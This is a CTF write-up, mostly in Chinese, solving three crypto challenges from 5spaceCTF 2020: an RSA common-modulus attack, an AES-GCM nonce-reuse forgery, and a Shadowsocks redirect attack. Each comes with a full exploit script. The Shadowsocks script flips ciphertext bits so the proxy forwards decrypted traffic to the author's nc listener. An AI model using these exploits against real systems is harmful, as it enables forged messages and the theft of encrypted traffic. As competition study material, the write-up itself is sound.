# Writeup for Crypto Problems in 5spaceCTF 2020

## rosb

RSA共模攻击。

RSA解密实际上可以看作是，在$\mathbb{Z}_n^*$里对$c = m^e$开$e$次方根；或者说是，找到一个$d$，使得 $$m^{ed} \equiv m^1 \pmod{n}.$$

（without loss of generality）假设$s$是负的，令$s^+$表示$|s| = -s$，那么有： $$m^1 \equiv m^{re_1 + se_2} \equiv (m^{e_1})^r + (m^{e_2})^{-s^+} \equiv c_1^r \cdot (c_2^{-1})^{s+} \pmod{n}$$

ctfwiki 上面的也有相关的内容。

exp如下：

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33  # python3 from Crypto.Util.number import long_to_bytes n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557 e1 = 0xf4c1158f c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707 e2 = 0xf493f7d1 c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb def egcd(a, b): ''' Extended Euclidean Algorithm. returns x, y, gcd(a,b) such that ax + by = gcd(a,b). ''' u, u1 = 1, 0 v, v1 = 0, 1 while b: q, r = divmod(a, b) u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, r return u, v, a r, s, _ = egcd(e1, e2) if r < 0: r = -r c1 = inverse(c1, n) else: s = -s c2 = inverse(c2, n) m = pow(c1, r, n) * pow(c2, s, n) % n print(long_to_bytes(m)) # b'g0od_go0d_stu4y_d4yd4y_Up-M\x13\xe2_%\xbfQ3\xff:<\xd3P\xbb\x11\xf5\xf7b\x84\x14\x042\xa7\xeb\x02\xdam!\x9f^\xd2\x0f\x00\x9b\xbc+;\t<\xcd\xe6\x82\xe5\x88\xb5\x90\x15\xb8m\xbcc\xa0\xe9\x96\x12\xf7\xc1\xc59\xc2d\xb4)' 

flag{g0od_go0d_stu4y_d4yd4y_Up}

## UnsafeAES

### TL;DR

nonce reuse + forbidden attack

### AES-GCM

AES-GCM的提出，主要是为了解决一些传统的分组模式所无法避免的攻击。例如，在AES-CTR模式中，attacker可以从中间截获密文，然后将密文中的某些bits给flip掉，这样就可能会导致一些攻击（e.g. 这段密文是对某笔交易信息的加密，attacker将有关交易金额的部分通过flip bits的方式修改了，可能会导致很大的问题）。出现这种攻击的根源在于，AES-CTR等模式缺乏对密文信息完整性（integrity）的检查，使得收到密文的一方无法意识到密文已被篡改，而AES-GCM则可以很好地解决这个问题。

AES-GCM中的"CM"，即“Counter Mode“，加密过程跟AES-CTR模式一模一样，本质上也是一个stream cipher；但AES-GCM多了一个用来检验完整性的Auth Tag。此外，AES-GCM还提供了一个authenticated data选项（例如本题中的from clientfrom server），可以用来保证认证性（authentication）。

### nonce reuse

nonce = data[12+16:]nonce = data[36+16:]，nonce可以由我们来决定，而且按理来说，nonce的长度应该为12，但这里是直接从指定位置一直截取到末尾，也就是说nonce字节的长度可以任意。但是在AES_GCM初始化的时候，会对nonce进行检查，不能超过1 << 96，也就是大小不能超过12bytes。

hex_str(input) ——> bytes(check) ——> int(encrypt, decrypt)

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16  In [1]: n1 = b"Soreat_u" In [2]: n2 = b"\x00Soreat_u" In [3]: i1 = int.from_bytes(n1, "big") In [4]: i2 = int.from_bytes(n2, "big") In [5]: i1, i2 Out[5]: (6012149807315181429, 6012149807315181429) In [6]: n1 == n2 Out[6]: False In [7]: i1 == i2 Out[7]: True 

### forbidden attack

AES-CTR模式，如果出现nonce reuse的情况则很好利用，只需要一对明密文即可恢复出key stream，进而解密其他的密文。但本题中，我们需要去修改密文（flip bits），使得解密后的明文满足pt[11:15] == b"flag"才能让server端把flag给读出来，但修改了密文后，我们需要计算出对应的auth_tag才能通过server端decrypt的检测，但是我们并不知道master_keyauth_key，无法计算。

auth_tag需要对涉及到加密的所有信息进行验证：IV、authenticated data(AD)、ciphertext(C)和len(AD) || len(C)

1. 先根据master_key(K)对b"\x00"*16进行加密得到auth_key(H)，H会在后续的ghash中用于$GF^{128}$上乘法的一个固定乘数。
2. 对AD和C分别进行填充（补齐到16bytes的倍数），拼接起来，再加上8bytes的len(A)和8bytes的len(C)，得到用于ghash的data。
3. ghash的运算过程如下：初始化auth_tag为全0，将data按16bytes分组，每一组16bytes（即128bits）可以看作是$GF(2^{128})$上的一个元素；先把每一组的16bytes与auth_tag相加（$GF(2^{128})$上的加法即对应bytes的异或），然后把加完后的auth_tag乘上H（题目代码中是预先生成了一个有关于H乘法的置换表），不断地这样操作，直至每一组都算完了，能得到ghash的结果。
4. 最后，将对IV（IV由12bytes的nonce和4bytes的Counter组成，此时的Counter为1）的AES加密结果与ghash结果再相加，得到最终的auth_tag。

nonce reuse导致了每一次的H和EJ都是一样的，当我们获取到2组密文和对应的auth_tag后， \begin{aligned} T_1(H) &= A*H^5 + C_{11}*H^4 + C_{12}*H^3 + C_{13}H^2 + L * H + EJ \newline T_2(H) &= AH^5 + C_{21}*H^4 + C_{22}*H^3 + C_{23}*H^2 + L * H + EJ \end{aligned} 可以将这两个式子相加，得到 $$T_1 + T_2 = (C_{12} + C_{22}) * H^3 + (C_{13} + C_{23})*H^2$$ （此题中$C_{11}$和$C_{21}$是一样的，都是对b"ctf.server/test?" 的加密）

1. 先修改密文：将$C_1$处第11～15段改为b"flag"即可，这可以通过flip coins来操作。

2. 然后计算auth_tag： $$T(H) = A * H^5 + C_1 * H^4 + C_2 * H^3 + C_3 * H^2 + L * H + EJ$$

3. 通过之前已知的一组明密文对，计算出用于CTR模式加密时的key_streamenc_flag加密用的即为该key_stream，所以再异或回去就能得到flag。

exp写的有点乱，主要是魔改了一下UTCTF 2020 - Crypto Challenges 里现成的脚本：

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142  # SageMath 9.1 from sage.all import * # import sage library from Crypto.Util.number import long_to_bytes as lb from Crypto.Util.number import bytes_to_long as bl from binascii import unhexlify, hexlify import struct from pwn import * def xor(a, b): return b"".join(bytes([x^^y] for x, y in zip(a, b))) while True: try: r = remote("124.70.55.83", 2333) context.log_level = "debug" r.sendlineafter(b"MITM:", b"48656c6c6f20776f726c6421") rec = r.recvline().strip().decode() # client -> server c1 = bytes.fromhex(rec) c11 = c1[:16] c12 = c1[16:32] c13 = c1[32:36] tag1 = c1[36:36+16] r.sendlineafter(b"MITM:", rec[:-24] + "00" + rec[-24:]) sleep(1) rec = r.recvline().strip().decode() # server -> client r.sendlineafter(b"MITM:", rec[:-24]+ "00" + rec[-24:]) sleep(1) rec = r.recvline().strip().decode() # client -> server c2 = bytes.fromhex(rec) c21 = c2[:16] c22 = c2[16:32] c23 = c2[32:36] tag2 = c2[36:36+16] ################################################## def bytes_to_polynomial(block, a): poly = 0 # pad to 128 bin_block = bin(bl(block))[2 :].zfill(128) # reverse it to count correctly, wrong don't reverse it lol # bin_block = bin_block[::-1] for i in range(len(bin_block)): poly += a^i * int(bin_block[i]) return poly def polynomial_to_bytes(poly): return lb(int(bin(poly.integer_representation())[2:].zfill(128)[::-1], 2)) def convert_to_blocks(ciphertext): return [ciphertext[i:i + 16] for i in range(0 , len(ciphertext), 16)] def xor(s1, s2): if(len(s1) == 1 and len(s1) == 1): return bytes([ord(s1) ^^ ord(s2)]) else: return bytes(x ^^ y for x, y in zip(s1, s2)) def pad(data): if 0 != len(data) % 16: data += b"\x00" * (16 - len(data)%16) return data F, a = GF(2^128, name="a", modulus=x^128 + x^7 + x^2 + x + 1).objgen() R, x = PolynomialRing(F, name="x").objgen() # Set correct values C11 = bytes_to_polynomial(pad(c11), a) C12 = bytes_to_polynomial(pad(c12), a) C13 = bytes_to_polynomial(pad(c13), a) T1 = tag1 T1_p = bytes_to_polynomial(T1, a) C21 = bytes_to_polynomial(pad(c21), a) C22 = bytes_to_polynomial(pad(c22), a) C23 = bytes_to_polynomial(pad(c23), a) T2 = tag2 T2_p = bytes_to_polynomial(T2, a) msg = b"ctf.server/test?" fake = b"ctf.server/flag?" diff = xor(msg, fake) c31 = xor(diff, c21) c3 = c31 + c22 + c23 C31 = bytes_to_polynomial(pad(c31), a) C32 = bytes_to_polynomial(pad(c22), a) C33 = bytes_to_polynomial(pad(c23), a) AD = b"from client" A = bytes_to_polynomial(pad(AD), a) len_aad = len(AD) len_txt = 36 L = ((8 * len_aad) << 64) | (8 * len_txt); L L = int(L).to_bytes(16, byteorder='big'); L L_p = bytes_to_polynomial(L, a) # Here G_1 is already modified to include the tag G_1 = (A * x^5) + (C11 * x^4) + (C12 * x^3) + (C13 * x^2) + (L_p * x) + T1_p G_2 = (A * x^5) + (C21 * x^4) + (C22 * x^3) + (C23 * x^2) + (L_p * x) + T2_p G_3 = (A * x^5) + (C31 * x^4) + (C32 * x^3) + (C33 * x^2) + (L_p * x) P = G_1 + G_2 auth_keys = [root for root, _ in P.roots()] for H, _ in P.roots(): EJ = G_1(H) T3 = G_3(H) + EJ tag3 = str(polynomial_to_bytes(T3).hex()) # one of the 3 solutions print("H: " + str(H) + "\t" + str(polynomial_to_bytes(H).hex()) + "\tT3: " + str(polynomial_to_bytes(T3).hex())) ###################################################################### payload = c3.hex() + tag3 + "00"*4+"019761d59dea603751ae052d" print(payload) r.sendlineafter(b"MITM:", payload.encode()) sleep(1) rec = r.recvline().strip().decode() # client -> server enc_flag = bytes.fromhex(rec) key_stream = xor(c11+c12+c13, b"ctf.server/test?message="+b"Hello world!") flag = xor(key_stream, enc_flag) print(f"flag: {flag}") r.close() break except Exception as e: print(e) continue 

flag: b’flag{iEXiTBZGWLZXLzmZ}\nO\xc4\x9d\xbc5\x98Q\x99\x94\xfc\xf3\xcb\xb4'

## tinysocks

### Redirect Attack

we ——> proxy server这一过程中，proxy server可以被看作是一个解密机（decryption oracle），并将解密结果发送给一个target。

Shadowsocks关于target的设定：[目标地址][数据]

1字节类型用来指定后续主机名格式：

• 0x01：主机名是一个4bytes的IPv4地址
• 0x03：主机名是一个域名，首字母指定该域名的长度
• 0x04：主机名是一个6bytes的IPv6地址（题目代码里并没有该选项）

Redirect attack on Shadowsocks stream ciphers 上有现成的脚本。自己先搭个环境本地测试一下，魔改魔改，就可以实现成功。

1. 在自己的服务器上开启监听某个端口（aliyun服务器需要在控制台里把防火墙配置一下）

 1 2  \$ nc -vvvlp 4626 Listening on [0.0.0.0] (family 0, port 4626) 
2. 然后将target.pacap中proxy server返回给Alice的数据包payload（第26条）进行flip bits修改，并修改后的数据发送给远程proxy server：

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39  # python2 def xor(s1,s2): n=len(s1) r='' for i in range(n): r+=chr(ord(s1[i])^ord(s2[i])) return r method='aes-256-cfb' def up(c): l=16-len(c)%16 c=c+'\x00'*l return c #c is a capture http packet. c1='b987e261ed650ad5870137ead17f74cf97dc24ddaa0c000c39f0843b253170e332e4f666ff9d5ade4e8cf62473501ae49300dbd577693b7810b43316b0d193ec09e9be1612e62c77a5ca965da8ea739aca3142f6a34ed069de1bcd04955a5f47' c2='f2dec146b57a4684ce5772f4925f52c2742e0e4ca332f2fd1d5432c6907d92d73dad3c8bb091d806d7ece12ef85499c522a13c0e439469248b5beae50d642d438109c4dde4a8b35294961b4e0367be8e1d43b87d73d9af4a5691e8df638c57e433ece64449d253f7c539875b814af575232a0c6b5af3651b83d330961f1fae8f45f9dc7b4424999135d06ae2b707b8cfeb6ea8b1278c749a8e4688d9e03f55414c83b7d4acf4a5eb2a703134ba802a591020c637670cb08964e2e0dbee6cdf0a239b724106f75ed09aab4bb9555835a48b479f9ef5f54fa973e2dee4028396e1dcd26d92d6eab044749ec50db1e9e64ba696b0c0e06540de19e733070879084df354bda8c6ca2c18d1d28560ff92aef6b734af8a128e33f0d958ca0cc79f20bc978d44822a46064545e0cbaa7f7ac85c' c3='f2dec146b57a4685ce5672f5925d76b97544304c629e1b95d9b23b49506b82b418cca275163bd87ab0ac5b6bc94927e0f0159d509524b5b6cf0ca4506d3c89fcd9be2165fbb629d7a86e0b205b6039cf46ec04ac85d9cb8428e6b895d6367fd3b570def59cb4a81cf54e65cc4fc7df2dc85b52c3e2414fa4f34238840a911cb97b9a81bb40b188b6f8e7f8974b971e00265667d692f1809d71673ae1a7a32a8ecedd4e0fcc2401eaede3123603a2bb9b68b4e60e6dc14c3e46f2866305dc5c9fcd5929ad87dd2af891513d5e7172c701610c4300fee99208e8ebc30dfcedee848d613dd093d456edbcc8ed6b14b99dd74dc1d6096646ea038e6069ad32d95528b6028d3d359f671f40e2ac30178b7ba61e0570bce860061b5b7eaec3c2cb816fd8bf3a002b6a8340bc5fdf8d7fd68313bdd4d0d2e2ad01797c7804aeaf8ef1f7ddcdf52d57c32b0dc2ff26596a1f9d5b76d605176b578a1914d5a1db2743f5ac1f6682824e2442418a34aaf4396c3204b76bfc600d0697789934cecac34d99046fbf34ac3e556d124e2e5604f7f9795e7beffc18e343bfc32413123129a47de074b92271572e6ea9cd13002cbb5e0420554038e2968e2fdbbd0adf7fd2886f67d88ca126f5f98aceffa1274cb05698bf5e54f7b09bce7905acbf74ba16e0755e09cb6ebe5cff3e3163f0de9e070c5c1382fd5ae4fead45bf7f9c16a97884c8ce4796d78a143b7ae199744274966a1d95860dc431f8249941c9d0e25ee0987e97f885d648ce86c13720104c5067d150e1b082ccd815a220e386247ee3485ba51d49b8a4cad2f995b786340fe19170a76fdbbfdb6c8efbf19a28b81da2a9062752ad7a51e549121d76f32a39be66739b0bf50b39ca945fd54c1e43efede0600337e9b22058368791dd70ebba949638368d0f39679e4631a100a48fb4cdeb80eecd2633cf98551c410d116f8a312ea97194fd0c1c5a10796a5e7471f7ba6b605c108ace03d97fad7729b1360f4f4712348dfe1d03dc72fc1882e7787be484a9b074dd5aa3eb2d48812905875995359dd4600901e2b445fa017191bb6207c04af091e47429e1def5315aa409f99a95dc1f6ba5e36181ce1efb3c6a583da5370cb51e0c543ca3a9143504126c414285e678d9a19098b5d3887a799778593fd58f085e' c = c2 c=c.decode('hex') prefix_http='HTTP/1.' targetIP='\x01\x2f\x64\x8b\x63\x12\x12' # my server 47.100.139.99 is listening on port 4626 x=xor(prefix_http,targetIP) y=c[:7] z=xor(x,y) cipertext=z+c[7:] import socket obj = socket.socket() print ("begin\n") obj.connect(("121.36.47.205",1080))# ss-server is running on 121.36.47.205:1080 obj.send(cipertext)# send the payload to construct a redirect tunnel buf=obj.recv(1024) print(buf) 
3. 远程proxy server会将该数据包解密，并发送给我们的服务器。

flag{6H8gv3taxFghts79}